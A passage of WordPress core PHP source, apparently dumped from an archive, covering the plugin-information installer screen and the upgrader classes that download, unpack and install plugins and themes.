*/ function install_plugin_information() { global $tab; $api = plugins_api( 'plugin_information', array( 'slug' => wp_unslash( $_REQUEST['plugin'] ), 'is_ssl' => is_ssl() ) ); if ( is_wp_error( $api ) ) wp_die( $api ); $plugins_allowedtags = array( 'a' => array( 'href' => array(), 'title' => array(), 'target' => array() ), 'abbr' => array( 'title' => array() ), 'acronym' => array( 'title' => array() ), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array( 'src' => array(), 'class' => array(), 'alt' => array() ) ); $plugins_section_titles = array( 'description' => _x('Description', 'Plugin installer section title'), 'installation' => _x('Installation', 'Plugin installer section title'), 'faq' => _x('FAQ', 'Plugin installer section title'), 'screenshots' => _x('Screenshots', 'Plugin installer section title'), 'changelog' => _x('Changelog', 'Plugin installer section title'), 'other_notes' => _x('Other Notes', 'Plugin installer section title') ); //Sanitize HTML foreach ( (array)$api->sections as $section_name => $content ) { $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); } foreach ( array( 'version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug' ) as $key ) { if ( isset( $api->$key ) ) $api->$key = wp_kses( $api->$key, $plugins_allowedtags ); } $_tab = esc_attr( $tab ); $section = isset( $_REQUEST['section'] ) ? wp_unslash( $_REQUEST['section'] ) : 'description'; //Default to the Description tab, Do not translate, API returns English. if ( empty( $section ) || ! isset( $api->sections[ $section ] ) ) { $section_titles = array_keys( (array) $api->sections ); $section = array_shift( $section_titles ); } iframe_header( __('Plugin Install') ); echo "<div id='{$_tab}-title'>{$api->name}</div>"; echo "<div id='{$_tab}-tabs'>\n"; foreach ( (array)$api->sections as $section_name => $content ) { if ( isset( $plugins_section_titles[ $section_name ] ) ) $title = $plugins_section_titles[ $section_name ]; else $title = ucwords( str_replace( '_', ' ', $section_name ) ); $class = ( $section_name == $section ) ? ' class="current"' : ''; $href = add_query_arg( array('tab' => $tab, 'section' => $section_name) ); $href = esc_url( $href ); $san_section = esc_attr( $section_name ); echo "\t<a name='$san_section' href='$href' $class>$title</a>\n"; } echo "</div>\n"; ?> <div id="<?php echo $_tab; ?>-content"> <div class="fyi"> <ul> <?php if ( ! empty( $api->version ) ) : ?> <li><strong><?php _e('Version:') ?></strong> <?php echo $api->version ?></li> <?php endif; if ( ! empty( $api->author ) ) : ?> <li><strong><?php _e('Author:') ?></strong> <?php echo links_add_target($api->author, '_blank') ?></li> <?php endif; if ( ! empty( $api->last_updated ) ) : ?> <li><strong><?php _e('Last Updated:') ?></strong> <span title="<?php echo $api->last_updated ?>"><?php printf( __('%s ago'), human_time_diff(strtotime($api->last_updated)) ) ?></span></li> <?php endif; if ( ! empty( $api->requires ) ) : ?> <li><strong><?php _e('Requires WordPress Version:') ?></strong> <?php printf(__('%s or higher'), $api->requires) ?></li> <?php endif; if ( ! empty( $api->tested ) ) : ?> <li><strong><?php _e('Compatible up to:') ?></strong> <?php echo $api->tested ?></li> <?php endif; if ( ! empty( $api->downloaded ) ) : ?> <li><strong><?php _e('Downloaded:') ?></strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)) ?></li> <?php endif; if ( ! empty( $api->slug ) && empty( $api->external ) ) : ?> <li><a target="_blank" href="https://wordpress.org/plugins/<?php echo $api->slug ?>/"><?php _e('WordPress.org Plugin Page »') ?></a></li> <?php endif; if ( ! empty( $api->homepage ) ) : ?> <li><a target="_blank" href="<?php echo $api->homepage ?>"><?php _e('Plugin Homepage »') ?></a></li> <?php endif; ?> </ul> <?php if ( ! empty( $api->rating ) ) : ?> <h3><?php _e('Average Rating') ?></h3> <?php wp_star_rating( array( 'rating' => $api->rating, 'type' => 'percent', 'number' => $api->num_ratings ) ); ?> <small><?php printf( _n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings) ); ?></small> <?php endif; ?> </div> <div id="section-holder" class="wrap"> <?php if ( ! empty( $api->tested ) && version_compare( substr( $GLOBALS['wp_version'], 0, strlen( $api->tested ) ), $api->tested, '>' ) ) echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>'; else if ( ! empty( $api->requires ) && version_compare( substr( $GLOBALS['wp_version'], 0, strlen( $api->requires ) ), $api->requires, '<' ) ) echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.') . '</p></div>'; foreach ( (array)$api->sections as $section_name => $content ) { if ( isset( $plugins_section_titles[ $section_name ] ) ) $title = $plugins_section_titles[ $section_name ]; else $title = ucwords( str_replace( '_', ' ', $section_name ) ); $content = links_add_base_url( $content, 'https://wordpress.org/plugins/' . $api->slug . '/' ); $content = links_add_target( $content, '_blank' ); $san_section = esc_attr( $section_name ); $display = ( $section_name == $section ) ? 'block' : 'none'; echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo $content; echo "\t</div>\n"; } echo "</div>\n"; echo "</div>\n"; echo "<div id='$tab-footer'>\n"; if ( ! empty( $api->download_link ) && ( current_user_can('install_plugins') || current_user_can('update_plugins') ) ) { $status = install_plugin_install_status($api); switch ( $status['status'] ) { case 'install': if ( $status['url'] ) echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Now') . '</a>'; break; case 'update_available': if ( $status['url'] ) echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Update Now') .'</a>'; break; case 'newer_installed': echo '<a class="button button-primary right disabled">' . sprintf(__('Newer Version (%s) Installed'), $status['version']) . '</a>'; break; case 'latest_installed': echo '<a class="button button-primary right disabled">' . __('Latest Version Installed') . '</a>'; break; } } echo "</div>\n"; iframe_footer(); exit; } add_action('install_plugins_pre_plugin-information', 'install_plugin_information'); class-wp-upgrader.php000077700000263620151514577750010656 0ustar00<?php /** * A File upgrader class for WordPress. * * This set of classes are designed to be used to upgrade/install a local set of files on the filesystem via the Filesystem Abstraction classes. * * @link http://trac.wordpress.org/ticket/7875 consolidate plugin/theme/core upgrade/install functions * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ require ABSPATH . 'wp-admin/includes/class-wp-upgrader-skins.php'; /** * WordPress Upgrader class for Upgrading/Installing a local set of files via the Filesystem Abstraction classes from a Zip file. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class WP_Upgrader { var $strings = array(); var $skin = null; var $result = array(); function __construct($skin = null) { if ( null == $skin ) $this->skin = new WP_Upgrader_Skin(); else $this->skin = $skin; } function init() { $this->skin->set_upgrader($this); $this->generic_strings(); } function generic_strings() { $this->strings['bad_request'] = __('Invalid Data provided.'); $this->strings['fs_unavailable'] = __('Could not access filesystem.'); $this->strings['fs_error'] = __('Filesystem error.'); $this->strings['fs_no_root_dir'] = __('Unable to locate WordPress Root directory.'); $this->strings['fs_no_content_dir'] = __('Unable to locate WordPress Content directory (wp-content).'); $this->strings['fs_no_plugins_dir'] = __('Unable to locate WordPress Plugin directory.'); $this->strings['fs_no_themes_dir'] = __('Unable to locate WordPress Theme directory.'); /* translators: %s: directory name */ $this->strings['fs_no_folder'] = __('Unable to locate needed folder (%s).'); $this->strings['download_failed'] = __('Download failed.'); $this->strings['installing_package'] = __('Installing the latest version…'); $this->strings['no_files'] = __('The package contains no files.'); $this->strings['folder_exists'] = __('Destination folder already exists.'); $this->strings['mkdir_failed'] = __('Could not create directory.'); $this->strings['incompatible_archive'] = __('The package could not be installed.'); $this->strings['maintenance_start'] = __('Enabling Maintenance mode…'); $this->strings['maintenance_end'] = __('Disabling Maintenance mode…'); } function fs_connect( $directories = array() ) { global $wp_filesystem; if ( false === ($credentials = $this->skin->request_filesystem_credentials()) ) return false; if ( ! WP_Filesystem($credentials) ) { $error = true; if ( is_object($wp_filesystem) && $wp_filesystem->errors->get_error_code() ) $error = $wp_filesystem->errors; $this->skin->request_filesystem_credentials($error); //Failed to connect, Error and request again return false; } if ( ! is_object($wp_filesystem) ) return new WP_Error('fs_unavailable', $this->strings['fs_unavailable'] ); if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) return new WP_Error('fs_error', $this->strings['fs_error'], $wp_filesystem->errors); foreach ( (array)$directories as $dir ) { switch ( $dir ) { case ABSPATH: if ( ! $wp_filesystem->abspath() ) return new WP_Error('fs_no_root_dir', $this->strings['fs_no_root_dir']); break; case WP_CONTENT_DIR: if ( ! $wp_filesystem->wp_content_dir() ) return new WP_Error('fs_no_content_dir', $this->strings['fs_no_content_dir']); break; case WP_PLUGIN_DIR: if ( ! $wp_filesystem->wp_plugins_dir() ) return new WP_Error('fs_no_plugins_dir', $this->strings['fs_no_plugins_dir']); break; case get_theme_root(): if ( ! $wp_filesystem->wp_themes_dir() ) return new WP_Error('fs_no_themes_dir', $this->strings['fs_no_themes_dir']); break; default: if ( ! $wp_filesystem->find_folder($dir) ) return new WP_Error( 'fs_no_folder', sprintf( $this->strings['fs_no_folder'], esc_html( basename( $dir ) ) ) ); break; } } return true; } //end fs_connect(); function download_package($package) { /** * Filter whether to return the package. * * @since 3.7.0 * * @param bool $reply Whether to bail without returning the package. * Default false. * @param string $package The package file name. * @param WP_Upgrader $this The WP_Upgrader instance. */ $reply = apply_filters( 'upgrader_pre_download', false, $package, $this ); if ( false !== $reply ) return $reply; if ( ! preg_match('!^(http|https|ftp)://!i', $package) && file_exists($package) ) //Local file or remote? return $package; //must be a local file.. if ( empty($package) ) return new WP_Error('no_package', $this->strings['no_package']); $this->skin->feedback('downloading_package', $package); $download_file = download_url($package); if ( is_wp_error($download_file) ) return new WP_Error('download_failed', $this->strings['download_failed'], $download_file->get_error_message()); return $download_file; } function unpack_package($package, $delete_package = true) { global $wp_filesystem; $this->skin->feedback('unpack_package'); $upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/'; //Clean up contents of upgrade directory beforehand. $upgrade_files = $wp_filesystem->dirlist($upgrade_folder); if ( !empty($upgrade_files) ) { foreach ( $upgrade_files as $file ) $wp_filesystem->delete($upgrade_folder . $file['name'], true); } //We need a working directory $working_dir = $upgrade_folder . basename($package, '.zip'); // Clean up working directory if ( $wp_filesystem->is_dir($working_dir) ) $wp_filesystem->delete($working_dir, true); // Unzip package to working directory $result = unzip_file( $package, $working_dir ); // Once extracted, delete the package if required. if ( $delete_package ) unlink($package); if ( is_wp_error($result) ) { $wp_filesystem->delete($working_dir, true); if ( 'incompatible_archive' == $result->get_error_code() ) { return new WP_Error( 'incompatible_archive', $this->strings['incompatible_archive'], $result->get_error_data() ); } return $result; } return $working_dir; } function install_package( $args = array() ) { global $wp_filesystem, $wp_theme_directories; $defaults = array( 'source' => '', // Please always pass this 'destination' => '', // and this 'clear_destination' => false, 'clear_working' => false, 'abort_if_destination_exists' => true, 'hook_extra' => array() ); $args = wp_parse_args($args, $defaults); extract($args); @set_time_limit( 300 ); if ( empty($source) || empty($destination) ) return new WP_Error('bad_request', $this->strings['bad_request']); $this->skin->feedback('installing_package'); /** * Filter the install response before the installation has started. * * Returning a truthy value, or one that could be evaluated as a WP_Error * will effectively short-circuit the installation, returning that value * instead. * * @since 2.8.0 * * @param bool|WP_Error $response Response. * @param array $hook_extra Extra arguments passed to hooked filters. */ $res = apply_filters( 'upgrader_pre_install', true, $hook_extra ); if ( is_wp_error($res) ) return $res; //Retain the Original source and destinations $remote_source = $source; $local_destination = $destination; $source_files = array_keys( $wp_filesystem->dirlist($remote_source) ); $remote_destination = $wp_filesystem->find_folder($local_destination); //Locate which directory to copy to the new folder, This is based on the actual folder holding the files. if ( 1 == count($source_files) && $wp_filesystem->is_dir( trailingslashit($source) . $source_files[0] . '/') ) //Only one folder? Then we want its contents. $source = trailingslashit($source) . trailingslashit($source_files[0]); elseif ( count($source_files) == 0 ) return new WP_Error( 'incompatible_archive_empty', $this->strings['incompatible_archive'], $this->strings['no_files'] ); // There are no files? else //It's only a single file, the upgrader will use the foldername of this file as the destination folder. foldername is based on zip filename. $source = trailingslashit($source); /** * Filter the source file location for the upgrade package. * * @since 2.8.0 * * @param string $source File source location. * @param string $remote_source Remove file source location. * @param WP_Upgrader $this WP_Upgrader instance. */ $source = apply_filters( 'upgrader_source_selection', $source, $remote_source, $this ); if ( is_wp_error($source) ) return $source; //Has the source location changed? If so, we need a new source_files list. if ( $source !== $remote_source ) $source_files = array_keys( $wp_filesystem->dirlist($source) ); // Protection against deleting files in any important base directories. // Theme_Upgrader & Plugin_Upgrader also trigger this, as they pass the destination directory (WP_PLUGIN_DIR / wp-content/themes) // intending to copy the directory into the directory, whilst they pass the source as the actual files to copy. $protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes' ); if ( is_array( $wp_theme_directories ) ) $protected_directories = array_merge( $protected_directories, $wp_theme_directories ); if ( in_array( $destination, $protected_directories ) ) { $remote_destination = trailingslashit($remote_destination) . trailingslashit(basename($source)); $destination = trailingslashit($destination) . trailingslashit(basename($source)); } if ( $clear_destination ) { //We're going to clear the destination if there's something there $this->skin->feedback('remove_old'); $removed = true; if ( $wp_filesystem->exists($remote_destination) ) $removed = $wp_filesystem->delete($remote_destination, true); /** * Filter whether the upgrader cleared the destination. * * @since 2.8.0 * * @param bool $removed Whether the destination was cleared. * @param string $local_destination The local package destination. * @param string $remote_destination The remote package destination. * @param array $hook_extra Extra arguments passed to hooked filters. */ $removed = apply_filters( 'upgrader_clear_destination', $removed, $local_destination, $remote_destination, $hook_extra ); if ( is_wp_error($removed) ) return $removed; else if ( ! $removed ) return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']); } elseif ( $abort_if_destination_exists && $wp_filesystem->exists($remote_destination) ) { //If we're not clearing the destination folder and something exists there already, Bail. //But first check to see if there are actually any files in the folder. $_files = $wp_filesystem->dirlist($remote_destination); if ( ! empty($_files) ) { $wp_filesystem->delete($remote_source, true); //Clear out the source files. return new WP_Error('folder_exists', $this->strings['folder_exists'], $remote_destination ); } } //Create destination if needed if ( !$wp_filesystem->exists($remote_destination) ) if ( !$wp_filesystem->mkdir($remote_destination, FS_CHMOD_DIR) ) return new WP_Error( 'mkdir_failed_destination', $this->strings['mkdir_failed'], $remote_destination ); // Copy new version of item into place. $result = copy_dir($source, $remote_destination); if ( is_wp_error($result) ) { if ( $clear_working ) $wp_filesystem->delete($remote_source, true); return $result; } //Clear the Working folder? if ( $clear_working ) $wp_filesystem->delete($remote_source, true); $destination_name = basename( str_replace($local_destination, '', $destination) ); if ( '.' == $destination_name ) $destination_name = ''; $this->result = compact('local_source', 'source', 'source_name', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination', 'delete_source_dir'); /** * Filter the install response after the installation has finished. * * @since 2.8.0 * * @param bool $response Install response. * @param array $hook_extra Extra arguments passed to hooked filters. * @param array $result Installation result data. */ $res = apply_filters( 'upgrader_post_install', true, $hook_extra, $this->result ); if ( is_wp_error($res) ) { $this->result = $res; return $res; } //Bombard the calling function will all the info which we've just used. return $this->result; } function run($options) { $defaults = array( 'package' => '', // Please always pass this. 'destination' => '', // And this 'clear_destination' => false, 'abort_if_destination_exists' => true, // Abort if the Destination directory exists, Pass clear_destination as false please 'clear_working' => true, 'is_multi' => false, 'hook_extra' => array() // Pass any extra $hook_extra args here, this will be passed to any hooked filters. ); $options = wp_parse_args($options, $defaults); extract($options); if ( ! $is_multi ) // call $this->header separately if running multiple times $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array(WP_CONTENT_DIR, $destination) ); // Mainly for non-connected filesystem. if ( ! $res ) { if ( ! $is_multi ) $this->skin->footer(); return false; } $this->skin->before(); if ( is_wp_error($res) ) { $this->skin->error($res); $this->skin->after(); if ( ! $is_multi ) $this->skin->footer(); return $res; } //Download the package (Note, This just returns the filename of the file if the package is a local file) $download = $this->download_package( $package ); if ( is_wp_error($download) ) { $this->skin->error($download); $this->skin->after(); if ( ! $is_multi ) $this->skin->footer(); return $download; } $delete_package = ($download != $package); // Do not delete a "local" file //Unzips the file into a temporary directory $working_dir = $this->unpack_package( $download, $delete_package ); if ( is_wp_error($working_dir) ) { $this->skin->error($working_dir); $this->skin->after(); if ( ! $is_multi ) $this->skin->footer(); return $working_dir; } //With the given options, this installs it to the destination directory. $result = $this->install_package( array( 'source' => $working_dir, 'destination' => $destination, 'clear_destination' => $clear_destination, 'abort_if_destination_exists' => $abort_if_destination_exists, 'clear_working' => $clear_working, 'hook_extra' => $hook_extra ) ); $this->skin->set_result($result); if ( is_wp_error($result) ) { $this->skin->error($result); $this->skin->feedback('process_failed'); } else { //Install Succeeded $this->skin->feedback('process_success'); } $this->skin->after(); if ( ! $is_multi ) { /** This action is documented in wp-admin/includes/class-wp-upgrader.php */ do_action( 'upgrader_process_complete', $this, $hook_extra ); $this->skin->footer(); } return $result; } function maintenance_mode($enable = false) { global $wp_filesystem; $file = $wp_filesystem->abspath() . '.maintenance'; if ( $enable ) { $this->skin->feedback('maintenance_start'); // Create maintenance file to signal that we are upgrading $maintenance_string = '<?php $upgrading = ' . time() . '; ?>'; $wp_filesystem->delete($file); $wp_filesystem->put_contents($file, $maintenance_string, FS_CHMOD_FILE); } else if ( !$enable && $wp_filesystem->exists($file) ) { $this->skin->feedback('maintenance_end'); $wp_filesystem->delete($file); } } } /** * Plugin Upgrader class for WordPress Plugins, It is designed to upgrade/install plugins from a local zip, remote zip URL, or uploaded zip file. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class Plugin_Upgrader extends WP_Upgrader { var $result; var $bulk = false; function upgrade_strings() { $this->strings['up_to_date'] = __('The plugin is at the latest version.'); $this->strings['no_package'] = __('Update package not available.'); $this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>…'); $this->strings['unpack_package'] = __('Unpacking the update…'); $this->strings['remove_old'] = __('Removing the old version of the plugin…'); $this->strings['remove_old_failed'] = __('Could not remove the old plugin.'); $this->strings['process_failed'] = __('Plugin update failed.'); $this->strings['process_success'] = __('Plugin updated successfully.'); } function install_strings() { $this->strings['no_package'] = __('Install package not available.'); $this->strings['downloading_package'] = __('Downloading install package from <span class="code">%s</span>…'); $this->strings['unpack_package'] = __('Unpacking the package…'); $this->strings['installing_package'] = __('Installing the plugin…'); $this->strings['no_files'] = __('The plugin contains no files.'); $this->strings['process_failed'] = __('Plugin install failed.'); $this->strings['process_success'] = __('Plugin installed successfully.'); } function install( $package, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->install_strings(); add_filter('upgrader_source_selection', array($this, 'check_package') ); $this->run( array( 'package' => $package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => false, // Do not overwrite files. 'clear_working' => true, 'hook_extra' => array( 'type' => 'plugin', 'action' => 'install', ) ) ); remove_filter('upgrader_source_selection', array($this, 'check_package') ); if ( ! $this->result || is_wp_error($this->result) ) return $this->result; // Force refresh of plugin update information wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); return true; } function upgrade( $plugin, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->upgrade_strings(); $current = get_site_transient( 'update_plugins' ); if ( !isset( $current->response[ $plugin ] ) ) { $this->skin->before(); $this->skin->set_result(false); $this->skin->error('up_to_date'); $this->skin->after(); return false; } // Get the URL to the zip file $r = $current->response[ $plugin ]; add_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade'), 10, 2); add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); //'source_selection' => array($this, 'source_selection'), //there's a trac ticket to move up the directory for zip's which are made a bit differently, useful for non-.org plugins. $this->run( array( 'package' => $r->package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => true, 'clear_working' => true, 'hook_extra' => array( 'plugin' => $plugin, 'type' => 'plugin', 'action' => 'update', ), ) ); // Cleanup our hooks, in case something else does a upgrade on this connection. remove_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade')); remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); if ( ! $this->result || is_wp_error($this->result) ) return $this->result; // Force refresh of plugin update information wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); return true; } function bulk_upgrade( $plugins, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->upgrade_strings(); $current = get_site_transient( 'update_plugins' ); add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array(WP_CONTENT_DIR, WP_PLUGIN_DIR) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); // Only start maintenance mode if: // - running Multisite and there are one or more plugins specified, OR // - a plugin with an update available is currently active. // @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible. $maintenance = ( is_multisite() && ! empty( $plugins ) ); foreach ( $plugins as $plugin ) $maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) ); if ( $maintenance ) $this->maintenance_mode(true); $results = array(); $this->update_count = count($plugins); $this->update_current = 0; foreach ( $plugins as $plugin ) { $this->update_current++; $this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true); if ( !isset( $current->response[ $plugin ] ) ) { $this->skin->set_result('up_to_date'); $this->skin->before(); $this->skin->feedback('up_to_date'); $this->skin->after(); $results[$plugin] = true; continue; } // Get the URL to the zip file $r = $current->response[ $plugin ]; $this->skin->plugin_active = is_plugin_active($plugin); $result = $this->run( array( 'package' => $r->package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => true, 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'plugin' => $plugin ) ) ); $results[$plugin] = $this->result; // Prevent credentials auth screen from displaying multiple times if ( false === $result ) break; } //end foreach $plugins $this->maintenance_mode(false); /** * Fires when the bulk upgrader process is complete. * * @since 3.6.0 * * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might * be a Theme_Upgrader or Core_Upgrade instance. * @param array $data { * Array of bulk item update data. * * @type string $action Type of action. Default 'update'. * @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'. * @type bool $bulk Whether the update process is a bulk update. Default true. * @type array $packages Array of plugin, theme, or core packages to update. * } */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'plugin', 'bulk' => true, 'plugins' => $plugins, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does a upgrade on this connection. remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); // Force refresh of plugin update information wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); return $results; } function check_package($source) { global $wp_filesystem; if ( is_wp_error($source) ) return $source; $working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit(WP_CONTENT_DIR), $source); if ( ! is_dir($working_directory) ) // Sanity check, if the above fails, lets not prevent installation. return $source; // Check the folder contains at least 1 valid plugin. $plugins_found = false; foreach ( glob( $working_directory . '*.php' ) as $file ) { $info = get_plugin_data($file, false, false); if ( !empty( $info['Name'] ) ) { $plugins_found = true; break; } } if ( ! $plugins_found ) return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) ); return $source; } //return plugin info. function plugin_info() { if ( ! is_array($this->result) ) return false; if ( empty($this->result['destination_name']) ) return false; $plugin = get_plugins('/' . $this->result['destination_name']); //Ensure to pass with leading slash if ( empty($plugin) ) return false; $pluginfiles = array_keys($plugin); //Assume the requested plugin is the first in the list return $this->result['destination_name'] . '/' . $pluginfiles[0]; } //Hooked to pre_install function deactivate_plugin_before_upgrade($return, $plugin) { if ( is_wp_error($return) ) //Bypass. return $return; // When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it if ( defined( 'DOING_CRON' ) && DOING_CRON ) return $return; $plugin = isset($plugin['plugin']) ? $plugin['plugin'] : ''; if ( empty($plugin) ) return new WP_Error('bad_request', $this->strings['bad_request']); if ( is_plugin_active($plugin) ) { //Deactivate the plugin silently, Prevent deactivation hooks from running. deactivate_plugins($plugin, true); } } //Hooked to upgrade_clear_destination function delete_old_plugin($removed, $local_destination, $remote_destination, $plugin) { global $wp_filesystem; if ( is_wp_error($removed) ) return $removed; //Pass errors through. $plugin = isset($plugin['plugin']) ? $plugin['plugin'] : ''; if ( empty($plugin) ) return new WP_Error('bad_request', $this->strings['bad_request']); $plugins_dir = $wp_filesystem->wp_plugins_dir(); $this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin) ); if ( ! $wp_filesystem->exists($this_plugin_dir) ) //If it's already vanished. return $removed; // If plugin is in its own directory, recursively delete the directory. if ( strpos($plugin, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory separator AND that it's not the root plugin folder $deleted = $wp_filesystem->delete($this_plugin_dir, true); else $deleted = $wp_filesystem->delete($plugins_dir . $plugin); if ( ! $deleted ) return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']); return true; } } /** * Theme Upgrader class for WordPress Themes, It is designed to upgrade/install themes from a local zip, remote zip URL, or uploaded zip file. * * @package WordPress * @subpackage Upgrader * @since 2.8.0 */ class Theme_Upgrader extends WP_Upgrader { var $result; var $bulk = false; function upgrade_strings() { $this->strings['up_to_date'] = __('The theme is at the latest version.'); $this->strings['no_package'] = __('Update package not available.'); $this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>…'); $this->strings['unpack_package'] = __('Unpacking the update…'); $this->strings['remove_old'] = __('Removing the old version of the theme…'); $this->strings['remove_old_failed'] = __('Could not remove the old theme.'); $this->strings['process_failed'] = __('Theme update failed.'); $this->strings['process_success'] = __('Theme updated successfully.'); } function install_strings() { $this->strings['no_package'] = __('Install package not available.'); $this->strings['downloading_package'] = __('Downloading install package from <span class="code">%s</span>…'); $this->strings['unpack_package'] = __('Unpacking the package…'); $this->strings['installing_package'] = __('Installing the theme…'); $this->strings['no_files'] = __('The theme contains no files.'); $this->strings['process_failed'] = __('Theme install failed.'); $this->strings['process_success'] = __('Theme installed successfully.'); /* translators: 1: theme name, 2: version */ $this->strings['process_success_specific'] = __('Successfully installed the theme <strong>%1$s %2$s</strong>.'); $this->strings['parent_theme_search'] = __('This theme requires a parent theme. Checking if it is installed…'); /* translators: 1: theme name, 2: version */ $this->strings['parent_theme_prepare_install'] = __('Preparing to install <strong>%1$s %2$s</strong>…'); /* translators: 1: theme name, 2: version */ $this->strings['parent_theme_currently_installed'] = __('The parent theme, <strong>%1$s %2$s</strong>, is currently installed.'); /* translators: 1: theme name, 2: version */ $this->strings['parent_theme_install_success'] = __('Successfully installed the parent theme, <strong>%1$s %2$s</strong>.'); $this->strings['parent_theme_not_found'] = __('<strong>The parent theme could not be found.</strong> You will need to install the parent theme, <strong>%s</strong>, before you can use this child theme.'); } function check_parent_theme_filter($install_result, $hook_extra, $child_result) { // Check to see if we need to install a parent theme $theme_info = $this->theme_info(); if ( ! $theme_info->parent() ) return $install_result; $this->skin->feedback( 'parent_theme_search' ); if ( ! $theme_info->parent()->errors() ) { $this->skin->feedback( 'parent_theme_currently_installed', $theme_info->parent()->display('Name'), $theme_info->parent()->display('Version') ); // We already have the theme, fall through. return $install_result; } // We don't have the parent theme, lets install it $api = themes_api('theme_information', array('slug' => $theme_info->get('Template'), 'fields' => array('sections' => false, 'tags' => false) ) ); //Save on a bit of bandwidth. if ( ! $api || is_wp_error($api) ) { $this->skin->feedback( 'parent_theme_not_found', $theme_info->get('Template') ); // Don't show activate or preview actions after install add_filter('install_theme_complete_actions', array($this, 'hide_activate_preview_actions') ); return $install_result; } // Backup required data we're going to override: $child_api = $this->skin->api; $child_success_message = $this->strings['process_success']; // Override them $this->skin->api = $api; $this->strings['process_success_specific'] = $this->strings['parent_theme_install_success'];//, $api->name, $api->version); $this->skin->feedback('parent_theme_prepare_install', $api->name, $api->version); add_filter('install_theme_complete_actions', '__return_false', 999); // Don't show any actions after installing the theme. // Install the parent theme $parent_result = $this->run( array( 'package' => $api->download_link, 'destination' => get_theme_root(), 'clear_destination' => false, //Do not overwrite files. 'clear_working' => true ) ); if ( is_wp_error($parent_result) ) add_filter('install_theme_complete_actions', array($this, 'hide_activate_preview_actions') ); // Start cleaning up after the parents installation remove_filter('install_theme_complete_actions', '__return_false', 999); // Reset child's result and data $this->result = $child_result; $this->skin->api = $child_api; $this->strings['process_success'] = $child_success_message; return $install_result; } function hide_activate_preview_actions($actions) { unset($actions['activate'], $actions['preview']); return $actions; } function install( $package, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->install_strings(); add_filter('upgrader_source_selection', array($this, 'check_package') ); add_filter('upgrader_post_install', array($this, 'check_parent_theme_filter'), 10, 3); $this->run( array( 'package' => $package, 'destination' => get_theme_root(), 'clear_destination' => false, //Do not overwrite files. 'clear_working' => true, 'hook_extra' => array( 'type' => 'theme', 'action' => 'install', ), ) ); remove_filter('upgrader_source_selection', array($this, 'check_package') ); remove_filter('upgrader_post_install', array($this, 'check_parent_theme_filter')); if ( ! $this->result || is_wp_error($this->result) ) return $this->result; // Refresh the Theme Update information wp_clean_themes_cache( $parsed_args['clear_update_cache'] ); return true; } function upgrade( $theme, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->upgrade_strings(); // Is an update available? $current = get_site_transient( 